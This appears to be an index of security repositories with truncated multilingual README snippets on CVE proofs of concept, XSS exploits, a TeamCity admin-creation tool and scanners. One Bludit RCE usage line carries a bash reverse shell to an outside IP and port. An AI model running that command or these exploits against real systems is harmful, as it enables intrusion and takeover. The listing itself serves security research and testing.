juumla

🦁 Juumla 🦁 Juumla Juumla は、Joomla のバージョンを特定し、脆弱性や機密ファイルをスキャンするために作成された Python ツールです。 ⚡ インストール / はじめ方 Juumla のインストールと使用方法についての簡単なガイドです。 1. Clone the repository - git clone https://github.com/oppsec/juumla.git 2. Install the libraries - pip3 install -r requirements.txt 3. Run Juumla - python3 main....

linux-4.1.15_CVE-2023-28772

Linux 内核发行版 4.x http://kernel.org/ 这些是 Linux 4.x 版本的发布说明。请仔细阅读，因为它们会告诉你这是关于什么的，解释如何安装内核，以及如果出现问题该怎么办。 什么是 Linux？ Linux 是 Unix 操作系统的一个克隆，由 Linus Torvalds 在来自网络各地的松散黑客团队的协助下从头编写。它致力于符合 POSIX 和单一 UNIX 规范。 它拥有你期望在一个现代全功能 Unix 中应有的所有特性，包括真正的多任务、虚拟内存、共享库、按需加载、共享写时复制可执行文件、适当的内存管理，以及包括 IPv4 和 IPv6 的多栈网络。...

spring-webmvc5

spring-webmvc5 Fork spring-webmvc 5.3.39 to fix CVE-2024-38816, CVE-2024-38819 Maven 在项目的pom.xml的dependencies中加入以下内容: io.github.jaloon spring-webmvc5 5.3.39.1...

cmty-ssl-heartbleed-CVE-2014-0160-HTTP-HTTPS

此检查仅用于演示。 cmty-ssl-heartbleed-CVE-2014-0160-HTTP-HTTPS 直接针对已发现的 HTTP 和 HTTPS 服务上的 OpenSSL 产品进行检测。此检查不会检测存在漏洞的 OpenSSL 1.0.2-beta 版本。此外，OpenSSL 通常被打包到其他软件中，因此建议针对任何使用 SSL 响应的服务进行更精准的检测。 注意：此检查基于版本检测，并不直接测试漏洞。 其他检测方法 从 nmap -A -T4 --xml targets 中发现并提取使用 SSL 的端口和目标列表 使用 NMAP 6.3+ 循环遍历目标主机：nmap -sV -...

reko

reko - a general purpose decompiler. Reko Swedish: "decent, obliging" is a decompiler for machine code binaries. This project is freely available under the GNU General Public License. The project consists of front ends, core decompiler engine, and back ends to help it achieve its goals. A...

CVE-2019-15120

CVE-2019-15120 Joomla!用Kunena拡張機能5.1.14未満におけるBBCodeを介したXSSのエクスプロイト 情報 説明: Joomla!用Kunena拡張機能5.1.14未満では、任意のユーザーがBBcode対応の任意のフィールドに特別なメッセージを送信することで、保存型XSS攻撃を実行することが可能です。その結果、この脆弱性は容易にRCEにつながる可能性があります。 影響を受けるバージョン: Joomla!用Kunena拡張機能 バージョン5.xから5.1.14 研究者: Andrey Skuratov https://github.com/h3llraise...

CVE-2021-27190-PEEL-Shopping-cart-9.3.0-Stored-XSS

CVE-2021-27190 - PEEL Shopping，电子商务购物车 - '地址'中的存储型跨站脚本漏洞 日期 2021-02-11 漏洞利用作者 Anmol K Sachan 厂商主页 https://www.peel.fr/ 软件链接 https://www.peel.fr/nos-offres-1/peel-shopping-31.html https://sourceforge.net/projects/peel-shopping/ 易受攻击的软件链接...

PenetrationTesting_Notes-

渗透测试笔记 使用 cherryTree（最新版本）打开 PenetrationTestingNotes.ctb 你可以使用我的偏好设置以获得更好的体验...

CVE-2018-15473_burte

CVE-2018-15473burte openssh7.7 ユーザー名の列挙...

CVE-2021-20294-POC

CVE-2021-20294-POC 2023年1月21日, Altin tin-z, github.com/tin-z PoC 下载并编译 wget https://ftp.gnu.org/gnu/binutils/binutils-2.35.tar.gz && tar -xzvf binutils-2.35.tar.gz cd binutils-2.35 && ./configure && make && cd .. gcc -shared -fPIC poc.c -o poc.so -Wl,--version-script=poc.ver 运行PoC...

CVE-2022-42097

Backdrop CMS 版本 1.23.0 漏洞说明： Backdrop CMS 版本 1.23.0 被发现存在一个存储型跨站脚本（XSS）漏洞，通过 Comment 功能。 攻击向量： 攻击者必须在"评论"上发布内容，并在"评论"输入框中插入XSS载荷，然后选择原始HTML编辑器以利用存储型XSS。保存后XSS载荷将立即触发。 受影响： http://ipaddress/backdrop/comment/reply/idreply POST /backdrop/comment/reply/idreply 载荷： 测试环境： 1. Backdrop CMS 版本 1.23.0...

nccfsas

Introduction This repository holds information released publicly by NCC Group's Full Spectrum Attack Simulation FSAS team...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE autenticado Uso python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Ejemplo...

eclipse__hawkbit_CVE-2020-27219_0-3-0M6

Eclipse hawkBit™ - 更新服务器 Eclipse hawkBit 是一个领域无关的后端解决方案，用于向受限的边缘设备以及连接在基于 IP 的网络基础设施上的更强大的控制器和网关推送软件更新。 构建: SonarQuality Docker: 文档 参见 hawkBit 文档 联系我们 想与 hawkBit 背后的团队聊天？ 遇到 hawkBit 问题？请提交一个 GitHub issue。 您也可以查看我们的项目主页以获取更多联系方式。 示例与扩展 除了此处托管的 hawkBit 核心之外，该项目还维护着示例和扩展仓库。 hawkBit 沙盒 我们提供一个可免费供所有人试...

CVE-2022-28077

CVE-2022-28077 Home Owners Collection Management System 1.0 - 反射型XSS エクスプロイトタイトル: Home Owners Collection Management System 1.0 - 反射型XSS 日付: 2022-05-06 CVE: CVE-2022-28077 エクスプロイト作成者: Abdulaziz Saad @b4zb0z ベンダーホームページ: https://www.sourcecodester.com/ ソフトウェアリンク:...

proxy

git-pkgs proxy A caching proxy for package registries. Speeds up package downloads by caching artifacts locally, reducing bandwidth usage and improving reliability. Version Cooldown Most supply chain attacks rely on speed: a malicious version gets published and consumed by automated pipelines...

CVE-2024-27198

EN GenTeamCityExploit は、TeamCity サーバーの脆弱性 CVE-2024-27198 を標的とする PoC ツールです。認証バイパスの欠陥を悪用して、TeamCity のバージョン検出と新しい管理者ユーザーの作成を可能にします。 機能 TeamCity サーバーのバージョンを抽出します。 既知の脆弱性 CVE-2024-27198 の有無を確認します。 サーバーが脆弱な場合、新しい管理者ユーザーを作成します。 前提条件 Python 3.6+ : Python がインストールされていることを確認してください。 ライブラリ :...

joomla_rce_CVE-2015-8562

joomlarceCVE-2015-8562 已知 Joomla! 3.4.6 以下所有版本均存在漏洞。但在 PHP 版本低于 5.5.29、5.6.13 及 5.5 以下时可成功利用。 演示：https://www.youtube.com/watch?v=twqYpn1ir4o...

CVE-2023-30226

CVE-2023-30226 Rizin 是一个从 radare2 分支出来的逆向工程框架，在其 ELF 解析器代码中发现了一个缺陷，允许构造的文件执行拒绝服务攻击。这将阻止用户将文件加载到 rizin 中，但对文件本身的执行没有影响。 普通的 ELF 文件依赖于动态链接/加载，因此嵌入了大量信息。其中一项信息是在 .dynamic 部分中找到的 DTVERNEEDNUM 条目，该字段指定了符号版本依赖表中的条目数量。因此，该值应用于解析每个版本依赖项，但表的设计使得在最后一个 verneed 条目上，vnnext 字段将等于 0。然而，rizin...

port-scan-automation

LazyMap - Auto NMAP Scanning Script Automate NMAP scans and custom Nessus polices. Developed by Daniel Compton https://github.com/commonexploits/port-scan-automation.git Released under AGPL see LICENSE for more information Installing git clone...